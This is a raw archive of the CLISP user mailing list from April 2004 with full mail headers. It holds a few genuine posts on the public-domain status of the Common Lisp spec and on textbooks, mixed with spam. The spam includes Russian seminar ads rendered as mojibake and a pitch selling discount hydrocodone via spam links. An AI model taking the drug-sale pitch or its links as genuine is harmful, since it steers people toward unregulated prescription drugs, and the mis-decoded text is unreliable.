clisp-list@lists.sourceforge.net; Thu, 08 Apr 2004 20:59:13 -0700 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i393xDq22658; Thu, 8 Apr 2004 22:59:13 -0500 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1BBnAf-0007l9-00; Thu, 08 Apr 2004 22:59:13 -0500 To: clisp-list@lists.sourceforge.net In-reply-to: (message from Joe Corneli on Thu, 08 Apr 2004 22:14:04 -0500) X-all-your-base-are-belong-to-us: You are on the way to destruction. References: Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: CL docs (ftp://ftp.parc.xerox.com/pub/cl/) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 8 21:00:02 2004 X-Original-Date: Thu, 08 Apr 2004 22:59:13 -0500 Oh yeah... PACKAGE ---has a---> MAINTAINER MAINTAINER ---has a---> NAME MAINTAINER ---knows about---> COPYRIGHT-STATUS NAME ---is contained in---> README-FILE CURRENT-EMAIL-ADDRESS ---used for---> CONTACTING-PEOPLE CONTACTING-PEOPLE ---is opportunity for---> ASKING-QUESTIONS README-FILE ---lives in---> TOP-LEVEL-DIRECTORY CURRENT-EMAIL-ADDRESS ---lives on---> HOMEPAGE HOMEPAGE ---found via---> GOOGLING-FOR-NAME ... that's a thought! ------- Start of forwarded message ------- To: LMM@acm.org Subject: Common Lisp docs! X-all-your-base-are-belong-to-us: You are on the way to destruction. From: Joe Corneli Date: Thu, 08 Apr 2004 22:25:23 -0500 X-Spam-Status: No, hits=0.4 required=5.5 tests=AWL,SPAM_PHRASE_02_03 version=2.43 X-Spam-Level: I found your name in the file ftp://ftp.parc.xerox.com/PARCFTP-README where you are listed as the maintainer of the /pub/cl directory. I heard from Kent Pitman that the draft of the ANSI Common Lisp spec on this FTP site is "supposed to be" in the Public Domain. Do you have any more details about what this means exactly? Are the documents really in the public domain? If not, is it reasonable to think that they could be transfered to the public domain by some other means than waiting for their copyright to run out? The reason I'm interested is that I would like to use these documents to begin making online documentation for GNU CLISP, and perhaps other forms of documentation for other Lisp systems. If you can give me any more information about this issue, I would appreciate it. ------- End of forwarded message ------- From hauhua@seznam.cz Fri Apr 09 03:13:12 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BBt0Z-0003hM-R4 for clisp-list@lists.sourceforge.net; Fri, 09 Apr 2004 03:13:11 -0700 Received: from 210006123230.ctinets.com ([210.6.123.230]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1BBt0V-0003Yj-KO for clisp-list@lists.sourceforge.net; Fri, 09 Apr 2004 03:13:11 -0700 From: lucille To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=Windows-1251 Content-Transfer-Encoding: 8bit Message-ID: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] =?Windows-1251?B?0+/w7vnl7e3g/yDx6PHy5ezgIO3g6+7j7u7h6+7m5e3o/w==?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 9 03:14:02 2004 X-Original-Date: Fri, 09 Apr 2004 10:04:33 +0000 Óâàæàåìûå ãîñïîäà! Ïðèãëàøàåì Âàñ 19 àïðåëÿ ïîó÷àñòâîâàòü â îäíîäíåâíîì ñåìèíàðå ïî òåìå : «Óïðîùåííàÿ ñèñòåìà íàëîãîîáëîæåíèÿ». Ïðîãðàììà îáó÷åíèÿ: 1. Óïðîùåííàÿ ñèñòåìà íàëîãîîáëîæåíèÿ (ÓÑÍ). Íàëîãè è ñáîðû, èñ÷èñëÿåìûå ïðè ÓÑÍ; â êàêèõ ñëó÷àÿõ îðãàíèçàöèè, ïåðåøåäøèå íà ÓÑÍ, ÿâëÿþòñÿ íàëîãîâûìè àãåíòàìè ïî ÍÄÑ, íàëîãó íà ïðèáûëü è äðóãèì íàëîãàì; ïðåèìóùåñòâà è íåäîñòàòêè íîâîé óïðîùåííîé ñèñòåìû íàëîãîîáëîæåíèÿ. Íîâîå â çàêîíîäàòåëüñòâå ïî ÓÑÍ. 2. Êàê ïðàâèëüíî ïåðåéòè íà óïðîùåííóþ ñèñòåìó è îòêàçàòüñÿ îò íåå. Ïîðÿäîê èçâåùåíèÿ íàëîãîâûõ îðãàíîâ î ïåðåõîäå íà èíóþ ñèñòåìó íàëîãîîáëîæåíèÿ. Ñëîæíîñòèèñ÷èñëåíèÿ íàëîãîâ ïðè ïåðåõîäå ñ îáùåé ñèñòåìû íàëîãîîáëîæåíèÿ íà ÓÑÍ è íàîáîðîò. 3. Îðãàíèçàöèÿ áóõãàëòåðñêîãî è íàëîãîâîãî ó÷åòà ïðåäïðèÿòèÿ ïðè ïåðåõîäå íà ÓÑÍ. Íàëîãîâûå ðåãèñòðû, ïîðÿäîê ðàñ÷åòà íàëîãà ïî áþäæåòàì è ôîíäàì, ëüãîòû ïðè ÓÑÍ. 4. Ïîðÿäîê ïðèçíàíèÿ äîõîäîâ è ðàñõîäîâ â ïåðåõîäíûé ïåðèîä. Ó÷åò ñòîèìîñòè îñíîâíûõ ñðåäñòâ è ñóìì íà÷èñëåííîé àìîðòèçàöèè â ïåðåõîäíûé ïåðèîä. 5. Åäèíûé íàëîã ïî ðåçóëüòàòàì õîçÿéñòâåííîé äåÿòåëüíîñòè. Äâà âàðèàíòà èñ÷èñëåíèÿ åäèíîãî íàëîãà: îáúåêòû íàëîãîîáëîæåíèÿ, íàëîãîâàÿ áàçà è íàëîãîâûå ñòàâêè; íàëîãîâûé ïåðèîä, äàòà ïðèçíàíèÿ è ïîðÿäîê îïðåäåëåíèÿ äîõîäîâ è ðàñõîäîâ ïðè ÓÑÍ; ðàñõîäû, ó÷èòûâàåìûå è íå ó÷èòûâàåìûå ïðè îïðåäåëåíèè íàëîãîâîé áàçû; îñîáåííîñòè ó÷åòà îòäåëüíûõ âèäîâ äîõîäîâ è ðàñõîäîâ (ðàñõîäîâ íà ïðèîáðåòåíèå îñíîâíûõ ñðåäñòâ è äîõîäîâ îò èõ ðåàëèçàöèè; äîõîäîâ è ðàñõîäîâ, âûðàæåííûõ â èíîñòðàííîé âàëþòå; äîõîäîâ, ïîëó÷åííûõ â íàòóðàëüíîé ôîðìå); ó÷åò óáûòêîâ ïðåäûäóùèõ ïåðèîäîâ. 6. Ó÷åòíàÿ ïîëèòèêà ñóáúåêòîâ, ïðèìåíÿþùèõ óïðîùåííóþ ñèñòåìó â 2004 ã. 7. Îò÷åòíîñòü îðãàíèçàöèè, ïðèìåíÿþùåé ÓÑÍ. Ïîðÿäîê çàïîëíåíèÿ è ñðîêè ïîäà÷è íàëîãîâîé îò÷åòíîñòè 8. Îñîáåííîñòè òðóäîâûõ îòíîøåíèé ñ ðàáîòíèêàìè â îðãàíèçàöèè, ïðèìåíÿþùåé ÓÑÍ. Còîèìîñòü ó÷àñòèÿ â ìàñòåð-êëàññå – 3900 ðóáëåé, â ò.÷. ÍÄÑ. Ôîðìà îïëàòû ëþáàÿ (íàëè÷íàÿ èëè áåçíàëè÷íàÿ).  ñòîèìîñòü âõîäèò: ó÷àñòèå â ìåðîïðèÿòèè,ðàçäàòî÷íûé ìàòåðèàë êîôå-ïàóçà, îáåä. Ìàñòåð-êëàññ ïðîõîäèò â Ìîñêâå (ì. Àêàäåìè÷åñêàÿ).Âðåìÿ ïðîâåäåíèÿ ñ 10 äî 17.30. Äëÿ ó÷àñòèÿ â ñåìèíàðå íåîáõîäèìî ðåãèñòðèðîâàòüñÿ. Ïðè ðåãèñòðàöèè äî 14 àïðåëÿ ñêèäêà 5%. Åñëè Âû íå ìîæåòå ïîñåòèòü ìàñòåð-êëàññ ìû ïðåäëàãàåì Âàì ïðèîáðåñòè âèäåîçàïèñü ýòîãî è äðóãèõ ìàñòåð-êëàññîâ.Ê âèäåîêàññåòàì ïðèëàãàåòñÿ ðàçäàòî÷íûé ìàòåðèàë. ñòîèìîñòü ïðèîáðåòåíèÿ âèäåîêàññåòû – 2600 ðóá. ñ ó÷åòîì ÍÄÑ (095) 207-26-21 è (095) 789-81-90. From ric_n_cerq@iol.pt Sat Apr 10 12:23:48 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BCO4x-0002Ua-Ti for clisp-list@lists.sourceforge.net; Sat, 10 Apr 2004 12:23:47 -0700 Received: from [195.245.128.200] (helo=filo.at.isp) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BCO4x-0003lM-Ie for clisp-list@lists.sourceforge.net; Sat, 10 Apr 2004 12:23:47 -0700 Received: from iol.pt ([213.58.96.18]) by filo.at.isp with Microsoft SMTPSVC(5.0.2195.6713); Sat, 10 Apr 2004 20:23:37 +0100 Message-ID: <407849BC.8070404@iol.pt> From: Ricardo User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <4074328F.8030709@iol.pt> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 10 Apr 2004 19:23:37.0331 (UTC) FILETIME=[52A04430:01C41F31] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: common lisp book Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Apr 10 12:24:01 2004 X-Original-Date: Sat, 10 Apr 2004 20:23:40 +0100 Sam Steingold wrote: >>* Ricardo [2004-04-07 17:55:43 +0100]: >> >>Hi, i'm trying to learn Common Lisp and i'm trying to find a good book >>for that purpose, i've encountered "Common Lisp The Language 2nd >>edition" of 1989, my doubt is, will the contents of this book work >>with Common Lisp 2.33(since the book is a bit old)? > > > CLISP implements ANSI CL, which is slightly different from the language > described in CLtL2 (which is not suitable as a textbook anyway). > I recommend "ANSI Common Lisp" by Paul Graham as the textbook and the > CLHS as the on-line reference. > Thanks From jrs.idx@ntlworld.com Thu Apr 15 03:29:54 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BE482-0007Vj-G3 for clisp-list@lists.sourceforge.net; Thu, 15 Apr 2004 03:29:54 -0700 Received: from mta05-svc.ntlworld.com ([62.253.162.45]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BE482-0006Vp-4t for clisp-list@lists.sourceforge.net; Thu, 15 Apr 2004 03:29:54 -0700 Received: from ntlworld.com ([81.97.126.87]) by mta05-svc.ntlworld.com (InterMail vM.4.01.03.37 201-229-121-137-20020806) with ESMTP id <20040415102832.ERSY4091.mta05-svc.ntlworld.com@ntlworld.com> for ; Thu, 15 Apr 2004 11:28:32 +0100 Message-ID: <407D61F1.9090700@ntlworld.com> From: John Sampson User-Agent: Mozilla Thunderbird 0.5 (Windows/20040207) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.4 DATE_IN_PAST_12_24 Date: is 12 to 24 hours before Received: date Subject: [clisp-list] Am I here? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 15 03:30:04 2004 X-Original-Date: Wed, 14 Apr 2004 17:08:17 +0100 Hello - My apologies for a test message, but there was no response since confirming my subscription to this list and I am not sure what has happened. Regards _John Sampson_ From shaun@t-online.de Thu Apr 15 07:32:36 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BE7ut-0003zw-CO for clisp-list@lists.sourceforge.net; Thu, 15 Apr 2004 07:32:35 -0700 Received: from host-200-76-38-166.block.alestra.net.mx ([200.76.38.166]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1BE7up-0003jv-8J for clisp-list@lists.sourceforge.net; Thu, 15 Apr 2004 07:32:33 -0700 From: phillip To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=Windows-1251 Content-Transfer-Encoding: 8bit Message-ID: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 LINES_OF_YELLING BODY: A WHOLE LINE OF YELLING DETECTED Subject: [clisp-list] =?Windows-1251?B?zO7y6OLg9uj/IO/l8PHu7eDr4A==?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 15 07:33:07 2004 X-Original-Date: Thu, 15 Apr 2004 14:23:50 +0000 Íè äëÿ êîãî íå ñåêðåò, ÷òî óñïåõ ëþáîãî ïðîåêòà çàâèñèò îò òîãî, íàñêîëüêî ìîòèâèðîâàíû ñîòðóäíèêè íà åãî âûïîëíåíèå. Ó Âàñ îòëè÷íàÿ êîìàíäà, íî ñîòðóäíèêè íå ãîðÿò æåëàíèåì ðàáîòàòü? Âñå ìîæíî èñïðàâèòü! Êàê ñäåëàòü òàê, ÷òîáû ñîòðóäíèêè ñ ýíòóçèàçìîì ðàáîòàëè, íå òðåáóÿ áåñêîíå÷íûõ ïðèáàâîê ê çàðïëàòå? ×òîáû óñïåõ äåëà îíè ñ÷èòàëè ñâîèì ëè÷íûì óñïåõîì? Êàê âäîõíîâèòü èõ íà íîâûå äîñòèæåíèÿ? Îáî âñåì ýòîì ïîéäåò ðå÷ü íà äâóõäíåâíîì ïðàêòè÷åñêîì ñåìèíàðå-òðåíèíãå: «Ðàçðàáîòêà ñèñòåìû ìîòèâàöèè ïåðñîíàëà» 21-22 àïðåëÿ. Ïðîãðàììà ñåìèíàðà-òðåíèíãà: Ìîäóëü I. Êîíöåïöèè ìîòèâàöèè. • Ìåõàíèçì ìîòèâàöèè. • Êëàññè÷åñêèå è ñîâðåìåííûå ïîäõîäû ê ìîòèâàöèè: ðàçëè÷íûå ìîòèâàöèîííûå òåîðèè, èõ àíàëèç è ãðàíèöû ïðèìåíåíèÿ. Ôàêòîðû äåìîòèâàöèè • Îòðàæåíèÿ ðàçëè÷íûõ òåîðèé â èìåþùåìñÿ îïûòå ó÷àñòíèêîâ ïðîãðàììû. Ìîäóëü II. Ïðèíöèïû òðóäîâîé ìîòèâàöèè. 1.Ìîòèâàöèÿ ïåðñîíàëà íà óðîâíå îðãàíèçàöèè. • Ìîòèâàöèîííûå ñòðàòåãèè. •Ñâÿçü ìîòèâàöèè ïåðñîíàëà ñ ñèñòåìîé îöåíêè è ïëàíèðîâàíèÿ ðàçâèòèÿ. • Ìîäåëü ìîòèâàöèîííîé îöåíêè ïåðñîíàëà. • Ïðèìåðû óäà÷íûõ è íåóäà÷íûõ ñèñòåì ìîòèâàöèè. • Ñèñòåìà ìàòåðèàëüíîãî è íåìàòåðèàëüíîãî ñòèìóëèðîâàíèÿ: îãðàíè÷åíèÿ è âîçìîæíîñòè. • Êîðïîðàòèâíàÿ êóëüòóðà: êîðïîðàòèâíûå öåííîñòè è íîðìû êàê ôàêòîðû ìîòèâàöèè. •Ñïåöèôèêà áîëüøèõ è ìàëûõ êîìïàíèé â îáëàñòè ìîòèâàöèè ïåðñîíàëà. • Ïàðàäîêñû ìîòèâàöèè. 2. Ìîòèâàöèÿ îòåëüíîãî ñîòðóäíèêà. «Ïîâñåäíåâíàÿ ìîòèâàöèÿ». • Ñîçäàíèå ìîòèâèðóþùåé ðàáî÷åé ñðåäû. •Ìîòèâàöèÿ ÷åðåç ïîñòàíîâêó çàäà÷ è îðãàíèçàöèþ ñèñòåìû îáðàòíîé ñâÿçè. Ìîäóëü III. ×òî äåëàòü? • Ìåòîäû îöåíêè àêòóàëüíîé ìîòèâàöèîííîé ñðåäû êîìïàíèè («×òî ñåé÷àñ ìîòèâèðóåò è äåìîòèâèðóåò ìîèõ ñîòðóäíèêîâ»). • Øàãè ïîñòðîåíèÿ ñèñòåìû ìîòèâàöèè. • Ïðåìèè. Äîïëàòû. Áîíóñû. Ëüãîòû. Ñîöèàëüíûé ïàêåò: êîãäà è â êàêîì êîëè÷åñòâå. • Îöåíêà ýôôåêòèâíîñòè ñèñòåìû ìîòèâàöèè îðãàíèçàöèè. • Îòðàáîòêà ðàçëè÷íûõ ïîäõîäîâ íà ïðèìåðàõ ó÷àñòíèêîâ ïðîãðàììû. Ñòîèìîñòü ó÷àñòèÿ â ìåðîïðèÿòèè - 7500 ðóáëåé, ó÷åòîì ÍÄÑ. Ôîðìà îïëàòû ëþáàÿ (íàëè÷íàÿ èëè áåçíàëè÷íàÿ). â ýòó ñòîèìîñòü âõîäèò: ó÷àñòèå â ðàáîòå ãðóïïû, èíôîðìàöèîííûå ïå÷àòíûå ìàòåðèàëû êîôå-ïàóçà, îáåä. Ìàñòåð-êëàññ ïðîõîäèò â Ìîñêâå (ì. Àêàäåìè÷åñêàÿ). Íà÷àëî ìåðîïðèÿòèÿ â 10 ÷àñîâ è îêîí÷àíèå â 17 ÷àñîâ. Ðåãèñòðàöèÿ ó÷àñòíèêîâ îáÿçàòåëüíà. Ïîìèìî ó÷àñòèÿ â ñåìèíàðå ó Âàñ åñòü óíèêàëüíàÿ âîçìîæíîñòü ïðèîáðåñòè âèäåîçàïèñü ìåðîïðèÿòèÿ (Íà CD,DVD èëè âèäåîêàññåòàõ). Ê âèäåîìàòåðèàëàì ïðèëàãàåòñÿ ðàçäàòî÷íûé ìàòåðèàë. ñòîèìîñòü ïðèîáðåòåíèÿ âèäåîìàòåðèàëîâ– 4500 ðóá. ñ ÍÄÑ Ïðè ó÷àñòèè â ìåðîïðèÿòèè èëè ïðèîáðåòåíèè ìàòåðèàëîâ íà âèäåî ìû âûäàåì ñòàíäàðòíûé ïàêåò äîêóìåíòîâ äëÿ áóõãàëòåðèè. Âû ìîæåòå ïðèîáðåñòè âèäåîçàïèñè äðóãèõ ñåìèíàðîâ ïî òåìàì: 1. Îöåíêà è ïîäáîð ïåðñîíàëà â îðãàíèçàöèè. 2. Òèïû ëþäåé â áèçíåñå (îöåíêà ïîâåäåíèÿ Âàøèõ ïàðòíåðîâ è êîëëåã) 3. Õèòðîñòè åæåäíåâíîãî ðóêîâîäñòâà. Êîíòàêòíûå òåëåôîíû (095) 207-26-21 è (095) 789-81-90 From sjm@insu1.etec.uni-karlsruhe.de Thu Apr 15 18:51:27 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BEIVq-0000bT-VU for clisp-list@lists.sourceforge.net; Thu, 15 Apr 2004 18:51:26 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1BEIVq-00085a-U5 for clisp-list@lists.sourceforge.net; Thu, 15 Apr 2004 18:51:27 -0700 Received: from [164.77.132.214] (helo=mail.md) by externalmx-1.sourceforge.net with smtp (Exim 4.30) id 1BEP6G-00023v-MA for clisp-list@lists.sourceforge.net; Fri, 16 Apr 2004 01:53:33 -0700 From: sjm@insu1.etec.uni-karlsruhe.de To: Clisp-list References: <0JDD5JH57HK7GGE8@lists.sourceforge.net> In-Reply-To: <0JDD5JH57HK7GGE8@lists.sourceforge.net> Message-ID: <2B4HBK0A313FG3GE@insu1.etec.uni-karlsruhe.de> MIME-Version: 1.0 Content-Type: text/plain; charset=Windows-1251 Content-Transfer-Encoding: 8bit X-Spam-Score: 4.1 (++++) X-Spam-Report: Spam detection software, running on the system "externalmx-1.sourceforge.net", has identified this incoming email as possible spam. The original message has been attached to this so you can view it (if it isn't spam) or block similar future email. If you have any questions, see the administrator of that system for details. Content preview: Âàøà çàðïëàòéà íå ñîîòâåòñâóåò âàøèì ñïîñîáíîñòÿì? Íà÷èíàéòå ó÷èòü àíãëèéìñêèé ÿçûê è ìîæåòå íàì ïîâåðèòü ÷òî âàøà æèçíü èçìåíèóòüñÿ ê ëó÷øåìó 9 -9 5 - 82 4I [...] Content analysis details: (4.1 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.3 NO_REAL_NAME From: does not include a real name 0.6 DATE_IN_PAST_06_12 Date: is 6 to 12 hours before Received: date 0.6 SUBJ_ALL_CAPS Subject is all capitals 2.7 SUBJ_ILLEGAL_CHARS Subject contains too many raw illegal characters X-Spam-Score: 3.5 (+++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 0.6 SUBJ_ALL_CAPS Subject is all capitals 2.7 SUBJ_ILLEGAL_CHARS Subject contains too many raw illegal characters Subject: [clisp-list] ìîæåòå íàì ïîâåðèòü ÷òî âàøà æèçíü èçìåíèäòüñÿ ê ëó÷øåìó 9 -9 5 - 82 4I Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 15 18:52:09 2004 X-Original-Date: Fri, 16 Apr 2004 01:51:06 +0000 Âàøà çàðïëàòéà íå ñîîòâåòñâóåò âàøèì ñïîñîáíîñòÿì? Íà÷èíàéòå ó÷èòü àíãëèéìñêèé ÿçûê è ìîæåòå íàì ïîâåðèòü ÷òî âàøà æèçíü èçìåíèóòüñÿ ê ëó÷øåìó 9 -9 5 - 82 4I From fear@edge.co.jp Sat Apr 17 12:59:39 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BEvyV-0003Iv-0r for clisp-list@lists.sourceforge.net; Sat, 17 Apr 2004 12:59:39 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1BEvyU-0008AO-Q2 for clisp-list@lists.sourceforge.net; Sat, 17 Apr 2004 12:59:38 -0700 Received: from southquad-180-219.reshall.umich.edu ([141.213.180.219] helo=ctu-degrees.com) by externalmx-1.sourceforge.net with smtp (Exim 4.30) id 1BF2ZL-0008ML-NO for clisp-list@lists.sourceforge.net; Sat, 17 Apr 2004 20:02:07 -0700 From: fear@edge.co.jp To: Clisp-list References: <19IC5I795455EJFL@lists.sourceforge.net> In-Reply-To: <19IC5I795455EJFL@lists.sourceforge.net> Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=Windows-1251 Content-Transfer-Encoding: 8bit X-Spam-Score: 4.1 (++++) X-Spam-Report: Spam detection software, running on the system "externalmx-1.sourceforge.net", has identified this incoming email as possible spam. The original message has been attached to this so you can view it (if it isn't spam) or block similar future email. If you have any questions, see the administrator of that system for details. Content preview: Âû áîëüøîé íà÷àëüíèê , íî ÷óâñòâóåòå ñåáÿ ñîâåðøåííî áåñïîìîùíùûì íà ïåðåãîâîðàõ ñ èíîñòðàííûìè ïðåäñòàâèòåëÿàìè? Ïðîñòî ïîçâîíèòå 99 -5 8 - 24I [...] Content analysis details: (4.1 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.3 NO_REAL_NAME From: does not include a real name 0.6 DATE_IN_PAST_06_12 Date: is 6 to 12 hours before Received: date 0.6 SUBJ_ALL_CAPS Subject is all capitals 2.7 SUBJ_ILLEGAL_CHARS Subject contains too many raw illegal characters X-Spam-Score: 3.5 (+++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 0.6 SUBJ_ALL_CAPS Subject is all capitals 2.7 SUBJ_ILLEGAL_CHARS Subject contains too many raw illegal characters Subject: [clisp-list] íà ïåðåãîâîðàõ ñ èíîñòðàííûìè ïðåäñòàâèòåëÿëìè? Ïðîñòî ïîçâîíèòå 99 -5 8 - 24I Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Apr 17 13:00:06 2004 X-Original-Date: Sat, 17 Apr 2004 19:59:27 +0000 Âû áîëüøîé íà÷àëüíèê , íî ÷óâñòâóåòå ñåáÿ ñîâåðøåííî áåñïîìîùíùûì íà ïåðåãîâîðàõ ñ èíîñòðàííûìè ïðåäñòàâèòåëÿàìè? Ïðîñòî ïîçâîíèòå 99 -5 8 - 24I From michaelapruiett@maktoob.com Sun Apr 18 06:25:26 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BFCIX-0004LP-HJ; Sun, 18 Apr 2004 06:25:25 -0700 Received: from [218.72.104.164] (helo=maktoob.com) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1BFCIW-0003uD-E9; Sun, 18 Apr 2004 06:25:24 -0700 Message-ID: From: "gerry curdy" User-Agent: 8.0 for Windows sub 6014 MIME-Version: 1.0 To: "joaquin provis" Cc: "terrence bakey" , "antonio solkowitz" Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Krpag bvy V~i_c_o`din, 1 day sale Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Apr 18 06:26:02 2004 X-Original-Date: Sun, 18 Apr 2004 09:28:43 -0200 fitzsimonds fiinews deterio emohawk for-resale We take the risk out of finding a safe place to make your online medical decisions. Your health, safety, and shopping experience are very important to us. Hydrocodone at a Discount Overnight sh.ipping http://tqsbil.net.rootss.com/?p=8089 82 Be relaxed and happy! D^rop me: http://dq.qe.vertsy.com/b.html Young Hopeful: "Father, what is a traitor in politics?Father (a veteran politician): "A traitor is a man who leaves our party and goes over to the other one."Young Hopeful: "Well then, what is a man who leaves his party and comes over to yours?"Father: "A converter, my son." A large two engine train was crossing America. After they had gone some distance one of the engines broke down."No problem," the engineer thought, and carried on at half-power. Further on down the line, the other engine broke down, and the train came to a standstill. The engineer decided he should inform the passengers about why the train had stopped, and made the following announcement:"Ladies and gentlemen, I have some good news and some bad news. The bad news is that both engines have failed, and we will be stuck here for some time. The good news is that this is a train and not a plane." toshihar9shikouhi05konatsu,todanaho temawari. From a.renard@ulg.ac.be Sun Apr 18 09:07:24 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BFEpI-0003Wv-4K for 